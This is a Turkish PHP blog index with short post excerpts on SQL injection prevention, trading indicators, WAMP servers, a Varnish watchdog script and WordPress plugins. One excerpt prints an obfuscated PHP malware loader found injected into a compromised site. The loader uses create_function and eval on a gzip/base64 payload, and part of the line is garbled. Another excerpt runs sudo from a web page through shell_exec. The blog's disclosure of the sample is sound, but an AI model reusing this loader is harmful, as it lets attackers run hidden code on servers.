PHP’de SQL enjeksiyonları nasıl önlenir (PDO)

SQL enjeksiyonu, en yaygın şekilde var olan ve en çok zarar veren web uygulaması güvenlik açıklarından biridir. Neyse ki, hem programlama dilleri hem de RDBMS’lerin kendileri, web uygulaması geliştiricilerine veritabanını güvenli bir şekilde sorgulamanın bir yolunu (parametreli SQL sorguları) sağlamak için gelişti.

SQLi saldırılarından korunmak için parametreli sorgular kullanılır. Parametreli sorguların yazılması ve anlaşılması kolaydır ve bu geliştiriciyi bir ifadedeki gerçek değişkenler için yer tutucuları kullanarak tüm SQL ifadesini önceden tanımlamaya zorlar. Geliştirici SQL ifadesi tanımlandıktan sonra her parametreyi sorguya geçirerek veritabanının SQL komutu ile bir kullanıcı tarafından girilen veriler arasında ayrım yapabilmesini sağlar. SQL komutları bir saldırgan tarafından girilirse, parametreli sorgu girdiyi SQL komutunun aksine bir dize olarak değerlendirir.

Okumaya devam et “PHP’de SQL enjeksiyonları nasıl önlenir (PDO)”

Tillson T3 İndikatörünü PHP ile Yazalım

Tillson T3 indikatörü, T3, Tillson hareketli ortalamaları olarak da bilinir. Bu teknik göstergenin geliştirilmesinin ardındaki düşünce hareketli ortalamalarda bulunabilecek gecikme ve yanlış sinyalleri iyileştirmekti. T3, diğer ortalama alan (SMA, EMA vb) trend indikatörlerine göre daha yumuşak (daha pürüzsüz) ve duyarlı sonuçlar üretir. T3 kullanılarak trend dönüşleri hissedilebilir.

Okumaya devam et “Tillson T3 İndikatörünü PHP ile Yazalım”

İlginç bir PHP arka kapısı

Birkaç yıl önce Genius‘un sayesinde haberdar olduğum aşağıdaki kod hala daha (v7.2.x) çalışmakta. İlginç yanı short_tags etkin olmasa dahi çalışıyor. Daha ilginci ve hakkkında pek bilgi bulamadığım kısmı ise dinamik olarak yaratılan ve veri (data) olarak ele alınması gereken bir yapının PHP tarafından bir metod (function) olarak değerlendirilmesi ve çalıştırılması.

Okumaya devam et “İlginç bir PHP arka kapısı”

Zararlı bir PHP kodu (PHP Malware)

Eski bir wordpress plug’innin neden olduğu sızmada aşağıdaki kod php betiklerinin başına eklenmiş.

<?  $oO0="cr"."eat"."e_fun"."cti"."on";[email protected]$oO0('$x','ev'.'al'.'("?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$o0O("s7EvyCjg5cpM0yguKSrIL9ZQiQ92DQpzDYpW9wgJCYgPBfLiHd1d/ULUY3WU8vPTc1KT8kuUNDWrebk4M1ITU1KLNJRAKvUN9QwVjA0MFXzzy1JTFAJSi3IT81LzSnIqlTStkdT65CcnlmTm51kpZJSUFBRb6euXl5frpSUmp+YmFmcb5+ZZmuol5+cCNaVkpgI11vJy2dsBAA==");
Okumaya devam et “Zararlı bir PHP kodu (PHP Malware)”

PHP: Single File Audio Player

Tek Dosya PHP Ses Yürütücüsü, tarayıcı, çalma listesi ve arama yapısı ile sezgisel bir tarayıcı tabanlı ses çalardır. Yapılandırma veya programlama becerisine gerek duymaz. Müziğinize harika duyarlı bit HTML5 oynatıcı sunmak için dosyanın bir kopyasını web sunucunuza kopyalamanız yeterlidir.

Projenin sayfasına gitmek için buraya demo için buraya tıklayınız.

PHP: Single File PHP Gallery

Tek dosyadan oluşan bir resim galeri script’i, tek bir PHP dosyasındaki bir web galerisi. Tek yapmanız gereken, bir galeri yapmak için betiği resim içeren herhangi bir dizine kopyalamaktır. Alt dizinler alt galeriler olacak. Resimler ve dizinler için küçük resimler otomatik olarak oluşturulur. Tek Dosya PHP Galerisi herhangi bir yapılandırma veya programlama becerisi gerektirmez.

Projenin sayfasına gitmek için buraya demo sayfası için buraya tıklatın.

DataTables ile PHP Modal Editör Kullanım Örneği

Veri ızgaraları ya da data grid’ler veritabanı tablolarının listelenmesi, filtrelenmesi ve düzenlenmesi amacıyla programlamayı oldukça kolaylaştıran web nesneleridir. Örneğin bir grid ile ürünleri listeletebilir, istediğiniz ürünleri filtreleyebilir ya da sıralayabilirsiniz. Emin Kadığlu dostumun katkıları ile paylaştığım aşağıdakiörnek uygulaması, bu özelliklerin yanında modal form aracılığı ile canlı düzenlemeyi de desteklemesi açısından güzel bir örnek oldu. Ayrıca, bu örnek Bootstrap kullandığından kolayca farklı temalara da uyarlanabilir.

Örnek uygulama çatı olarak datatables ve jquery kütüphanelerini kullanıyor. Datatables listeleme ve filtreleme özelliklerini kullanabilmek için bir PHP betiği sağlıyor fakat modal form ile canlı düzenleme için Datatables Editor eklentisinin satın alınmasını gerektiriyor. Emin dostumun kendi yazdığı editör kısmı da bu anlamda temel ihtiyaçları giderecek özellikte. Aşağıda uygulamanın ekran görüntüsünü ve kodlarını paylaşıyorum. Umarım faydalı olur.

Ücretsiz Web (Apache, MySQL, PHP) Sunucusu UwAmp’ı Tanıyalım

Yaklaşık 10 yıldır kullandığım ve bakımını yaptığım Uniform Server‘i terk etmenin zamanı gelmiş. Geliştirmekte olduğum yeni projem için alelade bir Google araması ile keşfettiğim UwAmp, PHP ve MySQL ile kod geliştiren herkesin en azından bir göz atması gereken bir WAMP server.

WAMP, Windows işletim sistemi üzerinde Apache HTTP Sunucusu, MySQL ve PHP kurulumunu bir arada sunan bir tümleşik sistem yazılımıdır. Kurulumları otomatik yaptığı gibi açık kaynak olarak geliştirilen bu sistemin düzenlenmesi de mümkündür. WAMP ismi; Windows, Apache, MySQL, PHP platformlarının baş harflerinden gelmektedir. Linux‘ta kullanılabilen LAMP’in Windows alternatifi olarak da adlandırılabilir

UwAmp’ın bazı özellikleri

  1. Tamamen taşınabilir (Portable), yani kurulum yapmanıza gerek yok. UwAmp klasörünü basitçe USB flash belleğinize kopyalarak yanınızda taşıyabilirsiniz
  2. Kullanıcı ara birimi onca özelliğine rağmen oldukça kullanışlı ve handy.
  3. Bünyesinde phpMyAdmin ve XDebug istemcisini bulunduruyor.
  4. Apache, PHP ve MySQL’in farklı sürümleri arasında kolayca geçiş yapabilir.
  5. PHP (php.ini), Apache (httpd.conf) ve MySQL (my.ini)’nin çok ihtiyaç duyulan  ayarlarını yapmak için görsel bir ara birimi var..
  6. Benzer şekilde Apache’ye sınırsız VHost (Sanal sunucu) ekleyebilme.
  7. SQLite veritabanlarını düzenlemek için kullanışlı bir araç (SQLite Database Browser).
  8. Apache ve MySQL’in anlık yük durumunu görüntüleyen grafik bir monitör.

Bunların yanında kullandıkça fark edebileceğiniz birkaç güzel özellik daha:

  1. Apache veya PHP’nin bir ayarını değiştirdiğiniz de ayarı hemen uyguluyor (Servisleri yeniden başlatıyor).
  2. O andaki Internet IP adresinizi ara biriminde göstermesi.
  3. PHP’nin beta’ları dahil birçok sürümünü depodan güncelleyebilmesi (kendi deposu da var)
  4. Sık sık günceleniyor olması.

Bazı kullanım tiyoları:

  1. UwAmp’ı patikasında (dizin yolunda) Türkçe karakter olmayan bir yere kopyalayın. Aksi takdir servisler başlarken hata verebilir.
  2. Apache “Offline Mode” da iken web sunucu sadece localhost’dan veya yerel bilgisayardan hizmet veriyor. Ağdaki diğer bilgisayarlara hizmet vermesi için “Online Mode” a geçirmelisiniz. Bunun için arabirim üzerindeki açılır listeyi kullanabilirsiniz.
  3. PHP’de $_SESSIONS içinde açılmış olan  oturumları sonlandırmak için, arabirimdeki tools bölümünün sağında yer alan ok işaretli menüden “Remove PHP sessions file” seçeneğini seçebilirsiniz.
  4. Arabirimdeki “Information” bölümünde o andaki Internet  IP adresiniz görüntüleniyor. Bu adresten web sunucuya erişmek için modem’inizden port yönlendirmesi yapmalı ve apache’yi online moda almalısınız.
  5. Sol alttaki “preferences” düğmesi ile varsayılan metin editörünü ayarlayabilirsiniz. Notepad++ sizin için güzel bir seçenek olabilir.

Wamp sunucunun sitesine gitmek için tıklayın.

 

Varnish, Child not responding to CLI, killing it.

1 haftadır zaman zaman varnish cache sunucusu, çöküyor
watcheri bunu algılıyor killiyor, buraya kadar bir sorun yok
ama ne hikmetse tekrar başlatmıyor ve servis kapalı kalıyor.

Hata loglarındada birşey görünmüyor, varnish cache alanıda 256mb
okuduğum dökümanlarda cache alanının büyük olduğundan,
sistem swap alanı takası esnasında oluşan bootle neck,
sistemin fiziksel ramı kalmadığından vs olabileceği yazılmış ancak hiç biri
benim için geçerli bir durum değil.

sistem loglarında birşey görünmüyor bu cli killing mesajı haricindede..

bende şöyle bir betiği konsolda açık bırakar bu işi hallettim belki sizinde işinize yarar,
bu betik servis kapalı kaldığında manuel yeniden başlatıyor.

<code>

<?php
ini_set(‘display_errors’, 1);
error_reporting(~E_ALL);

while (true)
{
sleep(10);
echo “Checking..\n”;

$cmd = “ps aux | grep varnishd | grep pid | wc -l”;
$result = trim(shell_exec($cmd));
if ($result <> “3”)
{
echo “Varnish Is not Running..\n”;
sleep(15);

$cmd = “ps aux | grep varnishd | grep pid | wc -l”;
$result = trim(shell_exec($cmd));
if ($result <> “3”)
{
echo “Varnish Restarting…\n”;
shell_exec(“service varnish restart”);
sleep(30);
};

};

};

?>

</code>

şu komutlada root yetkisi ile arkada bırakıyoruz

<code>
nohup php varnish-check > varnish-check.log &
</code>

 

Tübitak Projesi: YEŞİL KOD

2014 yılında Tübitak OPY Samsun Bölgesine davet edilen projemiz: “Yeşil Kod”

A (195x120)

Sunucu tabanlı web yazılımlarının (PHP, ASP, JSP vs) çalıştığın donanımın kaynaklarını verimli kullanarak, dinamik web sitelerinin web tarayıcısına yüklenme süresini azaltarak kullanıcılarına daha hızlı hizmet vermesini sağlayacak bir algoritma tasarlamak ve aynı zamanda elektrik enerjisi tasarrufunda bulunmaktır.

Okumaya devam et “Tübitak Projesi: YEŞİL KOD”

Plupload ile dosya yüklemek

plupload_ile_dosya_yuklemek

Plupload oldukça güzel bir dosya yükleme script’i. Web sayfanız üzerinden aynı anda birçok dosya seçip sunucuya yükleyebilirsiniz. Flash, HTML5 gibi birçok yöntemle dosya yüklemesi yapabilen bu ücretsiz script’in en güzel özelliği resim dosyalarını upload etmeden önce yeniden boyutlandırabiliyor. Böylece yüksek boyutlu fotografların yükleme zamanı kısalıyor. Buradan örnekleri inceleyebilirsiniz. Kendi arabirimini kullanmadan da JQuery ile  yükleme yaptırtmak mümkün (custom example da örneği gösterilmiş) Ayırca script, resim dosyalarını göndermeden önce ön izleme de sunabiliyor ve dosyaları sürükle bırak desteği ile de seçtirebiliyor. Ayarlamanıza izin verdiği chunk_size parametresi  gigabyte’larca veriyi zaman aşımına uğramadan (sunucudaki php betiği için) parçalar halinde de upload edebiliyor. Hazırladığım örnek dosyayı indirerek, kendiniz de deneyimleyebilirsiniz.

[Yükleme bulunamadı.]

Okumaya devam et “Plupload ile dosya yüklemek”

Javascript içinde PHP kullanmak

pass-data-from-php-to-javascript

Evet gayet mümkündür. PHP sunucu tarafında çalıştırılan bir dildir. Javascript ise tarayıcı da (istemci tarafında) çalışır. Linux sunucunuzda aşağıdaki gibi bir .htaccess dosyası oluşturursanız .js dosyaları PHP yorumlayıcısı (PHP interpreter) tarafından işletilir.
[stextbox id=”grey” caption=”.htaccess”]<FilesMatch “\.js$”>
SetHandler application/x-httpd-php
Header set Content-type “application/javascript”
</FilesMatch>[/stextbox]

PHP’de ob_flush’ın nasıl kullanıldığını öğrenin

Çok seneler önce burada  ob_implicit_flush sayesinde ob_flush fonksiyonunun kısa bir kullanım örneğini vermiştim. Malesef aradan 5 yıl geçtikten sonra görüyorum ki bu iş 2 satır kod ile gerçekleştirilemeyecek duruma gelmiş ;)  Biraz araştırma ve teftiş ile tüm tarayıcılarda çalışan bir kod elde etmeyi başardım. Kodu aşağıda paylaşıyorum.  Kodu kullanmaya başlamadan önce aynı dizinde bir .htaccess dosyası oluşturup içinde şu satırların olduğundan emin olun.

# Apache gzip sikistirmasi uygulamasin
SetEnv no-gzip dont-vary

# PHP output buffer’a sikistirma uygulamasin
php_flag zlib.output_compression Off

Demo sayfasını görüntülemek için burayı tıklayınız.

Okumaya devam et “PHP’de ob_flush’ın nasıl kullanıldığını öğrenin”

myPHPRedirector v0.1

Uzun linkleri kısaltmak amacıyla giriştiğim bir iş. Genelde ortam ve kullanıcı bigilerinin HTTP GET metodu ile taşınması sonucu oluşan çirkin, karışık ve uzun web linklerini daha basit bir forma dönüştürüyor.

Uzun linkleri kısaltmak amacıyla giriştiğim bir iş. Genelde ortam ve kullanıcı bigilerinin HTTP GET metodu ile taşınması sonucu oluşan çirkin, karışık ve uzun web linklerini daha basit bir forma dönüştürüyor.
Okumaya devam et “myPHPRedirector v0.1”

PHP ile dizindeki dosyaları listelemek

Aşağıda basit bir listeleme kodu yer alıyor.

//listelenecek dizinin patikası
$directory = "/home/tankado/public_html/";

//uzantısı jpg olan tum dosyaları getir
$images = glob($directory . "*.jpg");

//herbir dosya ismini ekrana bas
foreach($images as $image)
{
echo $image;
}

PHP ile Paralel Port (LPT) Kontrolü

Bir önceki yazımda Pardus Linux üzerinde LPT kontrolünün nasıl yapılacağını anlatmıştım. Şimdi bu işi bir adım daha ileri götürerek paralel port kontrolünü PHP ile web sayfası üzerinden nasıl yapabileceğimize bakacağız.

İlk olarak apache ve php kurulumunu yapmalıyız. Sisteminizde apache ve mod_php kurulu değilse root’a geçtikten sonra aşağıdaki pisi komutu ile kurulumu kolayca gerçekleştirebilirsiniz.

pisi it apache mod_php -y

Bir önceki uygulamada komut satırını kullanarak derlediğimiz lptout programına parametre gönderiyorduk. Şimdi ise aynı komutu PHP içerisinden çalıştıracağız. PHP içinde sistem komutu çalıştırmak için shell_exec ve exec gibi komutlar var.

Bir önceki yazımda olduğu gibi, LPT’nin data gurubunun tüm pin’lerini +5v’a çekmek için PHP sayfasına yazılması gereken kod şöyle;

<?php
shell_exec('sudo /home/tankado/lptout 0x378 255');
?>

Yukarıdaki PHP kodu /home/tankado dizini altındaki lptout programına 2 adet parametre göndererek çalıştırılmasını sağlıyor.

Okumaya devam et “PHP ile Paralel Port (LPT) Kontrolü”

WP MySQL Console Plugin

Click for English Translation

WP MySQL Console Nedir?

MySQL veritabanı sunucusu ile beraber gelen  komut kabuğunu çoğu kişi bilir. Komut kabuğu dediğim aslında MySQL’in standart veritabı istemci aracı (mysql.exe ./mysql). Bu araç ile SQL komutları kullanarak veritabanı sorguları çalıştırırz. Bu komut satırı aracının yerine birçok görsel istemci yazılımı geliştirilmiş olmasına rağmen, komut satırına uzun uzun SQL komutları yazmak da ayrı bir zevktir. Bilenler bilir ;) Ayrıca sözünü ettiğim görsel araçlar ile herzaman herşeyi yapmak da mümkün değil. Bu araçları kullanırken önünde sonunda komut satırına düşüp kendi SQL sorgularınızı çalıştırmanız gerekir.

Eklentinin ortaya çıkış nedenlerinden birisi de şöyle; MySQL istemcisi ile uzak bir bilgisayardaki veritabanı sunucusuna bağlanmak gerektiğinde bazen hosting’lerin güvenlik duvarı engeli karşımıza çıkabiliyor. Hosting (web barındırma) sağlayıcılar sunucudaki veritabanlarınıza yerel olarak erişmenize izin verirken, güvenlik amaçlı olarak uzaktan erişiminizi engellemiş olabilir. Benim gibi mysql komut kabuğunu kullanmayı alışkanlık haline getirmiş birisi için bu motivasyon kırıcı bir durum. WP MySQL Console tam da bu ihtiyaçtan ortaya çıkmış bir proje. WP MySQL Console için MySQL’in standart veritabanı istemcisini HTTP (ajax) üzerinden taklit eden web tabanlı bir istemci diyebiliriz. Kısaca mysql.exe‘nin web tabanlı biçimi de diyebilirsiniz. Bu projeyi geliştirirken orjinal mysql istemcisi ile aynı hissiyatı vermesine özen gösterdim (ok tuşları ile komut geçmişine ulaşabilir, fare imleci ile seçimi panoya kopyalayabilirsiniz). İstemci, HTTP protokolünü kullandığından, herhangi bir güvenlik duvarına takılması mümkün değil. (Not: Ancak geçmişte agresif yapılandırılmış uygulama güvenliği yazılımları tarafından bloke edildiği bildirilmişti)

WP MySQL Console yıllar önce geliştirdiğim phpMySQLConsole‘dan türettiğim bir eklenti. Uzun süredir geliştirmeye ara verdiğim phpMySQLConsole artık yoluna bir WordPress eklentisi olarak devam edecek.

Eklentiyi wordpress.org eklenti deposuna yönlendirdiğim aşağıdaki bağlantıyı kullanarak indirebilirsiniz.

Okumaya devam et “WP MySQL Console Plugin”